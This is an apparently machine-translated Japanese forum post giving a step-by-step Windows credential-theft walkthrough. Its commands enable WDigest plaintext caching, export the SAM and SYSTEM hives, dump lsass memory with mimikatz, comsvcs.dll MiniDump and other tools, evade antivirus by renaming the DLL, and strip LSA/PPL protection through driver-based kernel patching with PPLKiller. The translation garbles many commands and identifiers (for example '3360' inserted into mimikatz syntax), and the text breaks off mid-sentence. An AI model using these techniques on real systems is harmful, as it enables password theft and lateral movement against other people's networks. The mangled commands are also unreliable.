Jump to content

現在のマシンの平文パスワードを取得

ドメインハッシュをエクスポートする前に、最初に現在のマシンのローカルハッシュパスワードをエクスポートしようとすることができます。以前にドメインユーザーがこのマシンにログインした場合、ドメインユーザーまたはドメイン管理者のアカウントを直接取得できます。

Windowsオペレーティングシステムでは、SAMデータベース(C: \ Windows \ System32 \ config \ sam)がローカルユーザーのハッシュを保存します。

ローカル認証プロセスでは、ローカルセキュリティ許可サービスプロセスlsass.exeは、メモリ(DMPファイル)でユーザーパスワードをキャッシュします。

したがって、ここでは、現在のマシンのハッシュをクロールする2つの方法を検討できます:オンラインツール抽出とオフライン分析抽出。

注:Windows 10 \ 2012R2の後のシステムバージョンでは、メモリキャッシュでデフォルトでシステムユーザーのプレーンテキストパスワードが無効になります。この時点で、Mimikatzを使用してPlantextをキャッチできます。また、それをキャッチすることはできません。パスワードフィールドディジットは、nullとして直接表示されます。

ここでは、レジストリを手動で変更して、平易なテキストを保存して、クロールできるようにします。 (変更後、ログインする前にユーザーからログアウトする必要があります)

reg add hklm \\ system \\ currentControlset \\ control \\ securityproviders \\ wdigest /v uselogoncredential /t reg \ _dword /d 1 /f

mimikatz

ミミカッツは、フランス人ベンジャミンによって開発された強力な軽量デバッグツールです。個人的なテストを目的としていますが、その強力な機能のため、Windows XP-2012などのオペレーティングシステムの平文パスワードを直接読み取ることができ、浸透テストで有名です。浸透に必要なツールであると言えます。

住所をダウンロード:https://github.com/gentilkiwi/mimikatz

1.レジストリを介してハッシュをクロールします

コマンドラインを実行して、現在のシステムレジストリのSAMおよびシステムファイルを取得します(ローカル管理者の権利が必要です)

reg save hklm \\ system sys.hiv

reg save hklm \\ sam sam.hiv

ファイルを取得した後、攻撃者のネイティブマシンにダウンロードし、Mimikatzを使用してハッシュを分析および抽出できます。

mimikatz.exe 'lsadump:3360sam /sam:sam.hiv /system:sys.hiv' 'exit'

この方法は、SAMファイルに保存されているローカルユーザーのアカウントのみを取得できます

zxzoiznzyh4865.png

2.ターゲットマシンにmimikatzをアップロードし、ローカルSAMファイルによって保存されたアカウントハッシュ値をオンラインで抽出します

特権:Debug

token:3360Elevate

lsadump:sam

nfunlsdvbs5866.png

3. lsass.exeの記憶からハッシュを拡張します

Mimikatz '特権:3360Debug' 'sekurlsa:3360logonpasswords full' 'exit'

he1x2bs1o2z867.png

mqwdln1q10i868.png

ローカルユーザーにログインしたドメイン管理者のハッシュ値が、ローカルユーザーの管理者権限を使用してキャプチャされたことがわかりました。

pwdump7

pwdump7.exeを直接実行するだけです

fvr2jgujkrx869.png

WEC

ターゲットマシンにアップロードし、直接実行するパラメーターを追加します。

-lリストログインセッションとNTLM資格情報(デフォルト)

-S現在のログインセッションパラメーターのNTLM資格情報を変更する:ユーザー名:ドメイン名:LMハッシュ:NTハッシュ

-Rは、ログインセッションとNTLM資格情報を定期的にリストします。新しいセッションが見つかった場合、5秒ごとに再リストされます。

-c特別なNTML資格情報パラメーターを使用して新しいセッションを実行します。

-eログインセッションとntlm資格情報を随時リストし、ログインイベントが生成されたときに一度再リストする

-oすべての出力をファイルパラメーター:ファイル名に保存します

- 現在のログインセッションパラメーター:を使用する代わりに、LUIDを指定します

-dログインセッションパラメーター:からNTLM資格情報を削除します

-adressアドレスパラメーター:アドレスを使用します

-fフォースセーフモード

-g LMおよびNTパラメーターパスワードのハッシュを生成します

-Kキャッシュkerberosチケットはファイルへのチケット(UNIXおよびWindows WCE形式)

-kファイルからKerberosのチケットを読んで、Windowsキャッシュに挿入します

-Wダイジェスト認証を介してパスワードをプレーンテキストにキャッシュします

-v詳細な出力

bfokltoked3870.png

lazagne

アドレスをダウンロード:https://github.com/alessandroz/lazagne

lazagne.exeすべて

f1kcixsuf2a871.png

sharpdump

https://github.com/ghostpack/sharpdump

直接コンパイルするだけです

./sharpdump

mb314lncyhe872.png

lsasssilentprocessexit

https://MP.WEIXIN.QQ.COM/S/8UER5DNAQS24KUKXU5YI9W

サイレントプロセスの出口、つまり、静かに出口。このデバッグテクノロジーは、werfault.exeプロセスを導き出すことができます。これは、あらゆるプログラムを実行したり、プロセスのメモリファイルまたはポップアップを再配置するために使用できます。

主に、レジストリ +リモートプロセスインジェクションを変更してメモリをダンプするLSASSILENTProcessExit APIと、関連するレジストリキー値を使用します。

#define ifeo \ _reg \ _key 'Software \\\\\\\\\\\ windows nt \\\\ currentversion \\\\画像ファイル実行オプション\\\\\'

#define silent \ _process \ _exit \ _reg \ _key 'software \\\\\\\\\\\\\\ currentversion \\\\\ silentprocessexit \\\\\'

リモートプロセスインジェクションを使用して、lsass.exeにrtlreportsilentprocessexit機能自体を呼び出すようにします。

hmodule hntdll=getModuleHandle(l'ntdll.dll ');

rtlReportSilentProcessexit \ _func rtlReportSilentProcessexit=(rtlReportSilentProcessexit \ _func)

hthread=createremotethread(hprocess、null、0、(lpthread \ _start \ _routine)rtlreportsilentprocessexit、(lpvoid)-1、null、null);

ただし、レジストリを変更する必要があるため、ソフトキル入力環境をバイパスすることはほとんど不可能です。

lsasssilentprocessexit.exe 616 0

yfokayzuiy5873.png

敏感な環境でlsassプロセスをダンプする方法

PowerShellを使用してファイルなしでエクスポート

https://BLOG.csdn.net/chenfeng857/article/details/120126818

https://xz.aliyun.com/t/12157#toc-9

comsvcs.dllには、システムが付属しています。 comsvcs.dllのエクスポート関数Minidumpを介してダンプメモリを実装します。

指定されたプロセスメモリファイルをダンプする場合、Sedebugprivilegeの許可が必要です。管理者許可のCMDでは、Sedebugprivilegeの許可はデフォルトでサポートされていますが、ステータスは無効になっています。

mvwdsxpvhnh874.png

CMDの下でRunDLL32コマンドを直接実行し、指定されたプロセスメモリファイルをダンプしようとすると、SedeBugPrivilegeの許可を有効にできないため、ダンプが失敗します。

ただし、管理者の特権を備えたPowerShellの下では、デフォルトでSedebugprivilegeの許可がサポートされ、ステータスが有効になります。

vwj1kpbtcv0875.png

最初にlsass.exeプロセスpidを確認します

タスクリスト| findstr lsass.exe

rundll32.exe comsvcs.dll minidump pid path full

rundll32.exe comsvcs.dll minidump 1096 C: \\ users \\ 16229 \\ desktop \\ 1.dmp full

直接実行すると、ソフトを殺すことで傍受される可能性があります。

それをバイパスする簡単な方法:

copycomsvcs.dllは、無感覚なディレクトリに、たとえばtest.dllなど、無感覚なディレクトリに命名され、ランダムに命名されます

c: \\ windows \\ system32 \\ comsvcs.dll test.dllをコピーします

rundll32.exe c: \\ users \\ 16229 \\ desktop \\ code \ _java \\ test.dll Minidump 1096 C: \\ Users \\ 16229 \\ desktop \\ code \ _java \\ 3.dmp Full

ctuaul1uitw876.png

ローカルにドラッグし、分析のためにMimikatzを使用します。

mimikatz.exe log 'sekurlsa:minidump 2.dmp' 'sekurlsa:logonpasswordsフル'出口

runaspplが有効になっている環境

https://www.freebuf.com/articles/system/332506.html

https://xz.aliyun.com/t/12157#toc-19

ミミカッツ

PPL保護が有効になっているため、管理者でさえLSASSプロセスを開くことができません。

Mimikatz '特権:3360Debug' 'sekurlsa:3360logonpasswords full' 'exit'

eqyph4hjfom877.png

mimikatzprivilege:3360debugのコマンドは正常に有効になります。 Sedebugprivilegeですが、コマンドsekurlsa:logonpasswordsが失敗し、エラーコード0x00000005が表示されます。 Minikatzコードkuhl_m_sekurlsa_acquirelsa()関数から、私たちはそれを単に理解することができます

hdata=nullを処理します。

dword pid;

DWord ProcessRights=process_vm_read | process_query_information;

kull_m_process_getProcessIdforname(l'lsass.exe '、pid);

hdata=openProcess(processrights、false、pid);

if(hdata hdata!=invalid_handle_value){

//OpenProcess OKの場合

}

それ以外{

print_error_auto(メモリのハンドル ');

}

Process Explorerを使用してLSASSプロセスを開いて表示し、アクセスが拒否されます。

n0gruf3zxin878.png

ミミカッツのデジタル署名ドライバーを使用して、カーネルのプロセスオブジェクトの保護フラグを削除する

24kj1fbsmc5879.png

ミニカッツインストールドライバー

特権:Debug

!+

1jc53ng4z0l881.png

保護を削除します

!ProcessProtect /Process:lsass.exe /remove

t53kfixnxia882.png

その後、パスワードをダンプできます

sekurlsa:3360logonpasswords

qgbe1iu1bek883.png

ツールを使用して保護が削除されていることを表示します

1tthwf0wioi884.png

mimikatz.exe 'privilege:3360debug' ''!+''

pplkiller

https://www.cnblogs.com/revercc/p/16961961.html

https://RedCursor.com.au/Bypassing-lsa-protection-aka-crotected-crocess-light-without-mimikatz-on-windows-10/

優先度の違い:PPは、その署名レベルが等しいか等しい限り、フルアクセス権限を備えたPPまたはPPLを開くことができます。 PPLは、その署名レベルが等しいか等しい限り、フルアクセス許可を備えた別のPPLを開くことができます。署名レベルに関係なく、PPLはフルアクセス許可を持つPPを開くことはできません。

PPLが有効になっていると、保護レベルの高いプロセスのみが保護されたプロセスで動作できます。

Windowsカーネルは、_eprocess構造を使用して、カーネルメモリのプロセスを表します。これには、そのタイプ(_PS_PROTECTED_TYPE)および署名者(_PS_PROTECTED_SIGNER)プロパティを介してプロセスの保護レベルを定義する_PS_プロテクションフィールドが含まれます。

typedef struct _ps_protection {

ユニオン{

UCHARレベル;

struct {

UCHAR TYPE : 3;

UCHAR監査: 1; //予約済み

Uchar Signer : 4;

};

};

} ps_protection、 *pps_protection;

それは構造体として表されますが、すべての情報は単一のバイトの2つのニブル(levelis a uchar、unsigned char)に保存されます。最初の3桁は保護タイプを示します(以下のps_protected_typeを参照)。プロセスがPPまたはPPLであるかどうかを定義します。最後の4桁は、署名者タイプ(以下のps_protected_signerを参照)、つまり実際の保護レベルを表します。

typedef enum _ps_protected_type {

psprotectedtypenone=0、

psprotectedtepeprotectedlight=1、

psprotectedTepepRetected=2

} PS_PROTECTED_TYPE、 *PPS_PROTECTED_TYPE;

typedef enum _ps_protected_signer {

psprotectedSignernone=0、//0

psprotectedSignerAuthenticode、//1

psprotectedSignerCodegen、//2

psprotectedSignerantimalware、//3

psprotectedSignerlsa、//4

psprotectedSignerWindows、//5

psprotectedSignerwintcb、//6

psprotectedSignerWinsystem、//7

psprotectedSignerApp、//8

psprotectedSignerMax //9

} PS_PROTECTED_SIGNER、 *PPS_PROTECTED_SIGNER;

LSA保護をバイパスしたい場合は、EPROCESSカーネル構造にパッチを当てることにより、LSASSプロセスのPPLフラグを無効にすることができます。これを行うには、LSASS eProcess構造とパッチ5値のアドレスを見つける必要があります。Signaturelevelevel、sectionsignaturelevel、タイプ、監査、署名者はゼロです。

EnumDevicedRivers関数は、カーネルベースアドレスをリークするために使用できます。これを使用して、システムプロセスのeProcess構造を指すpsinitialsystemprocessを見つけることができます。カーネルはリンクされたリストでプロセスを保存するため、eProcess構造のActiveProcessLinksメンバーを使用してリンクされたリストを反復し、LSASSを探すことができます。

eProcess構造を見ると、パッチする必要がある5つのフィールドが、従来の4バイトとして揃っていることがわかります。これにより、次のように単一の4バイト書き込みでeProcess構造にパッチを当てることができます。writememoryPrimitive(device、4、currentProcessAddress + SignAtureLevelOffset、0x00);

fcgo1ifz1v4885.png

アドレスを見つけた後、これらの4バイトの値をゼロにパッチするだけです。

pplkiller.exe /instalddriver

タスクリスト| findstr lsass.exe

pplkiller.exe /disableppl 688

異なるカーネルバージョンに遭遇した場合、プログラムは4バイトに正しくパッチを適用できません。同じバージョンのマシンを見つけて、WindBGデバッグを使用してLSASSカーネルアドレスを表示できます。

bcdedit/debug onsrv \*https://msdl.microsoft.com/ダウンロード/シンボル

x2ihsa1rrvd886.png

.reload

!プロセス0 0 lsass.exe

dt \ _eprocess

z1icvsfnnmb887.png

x3djhqaevk1888.png

pagy3f24jvs889.png

アドレス0x6C0を見つけ、スクリプトを変更してからコンパイルします。

amelfbwlgim890.png

ppldump

https://ITM4N.GITHUB.IO/THEEND-OF-PPLDUMP/

https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/

PPLDUMPは、ユーザー状態の脆弱性の活用を実装し、任意のコードを管理者としてPPLに注入するC/C ++で記述されたツールです。この技術は、Alex IonescuとJames Forshawによる多くの調査結果の1つであり、保護されたプロセス(PPおよびPPL)に関する詳細な研究を実施しています。

ppldumpの実用的な原則は次のとおりです。

APに電話してください

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...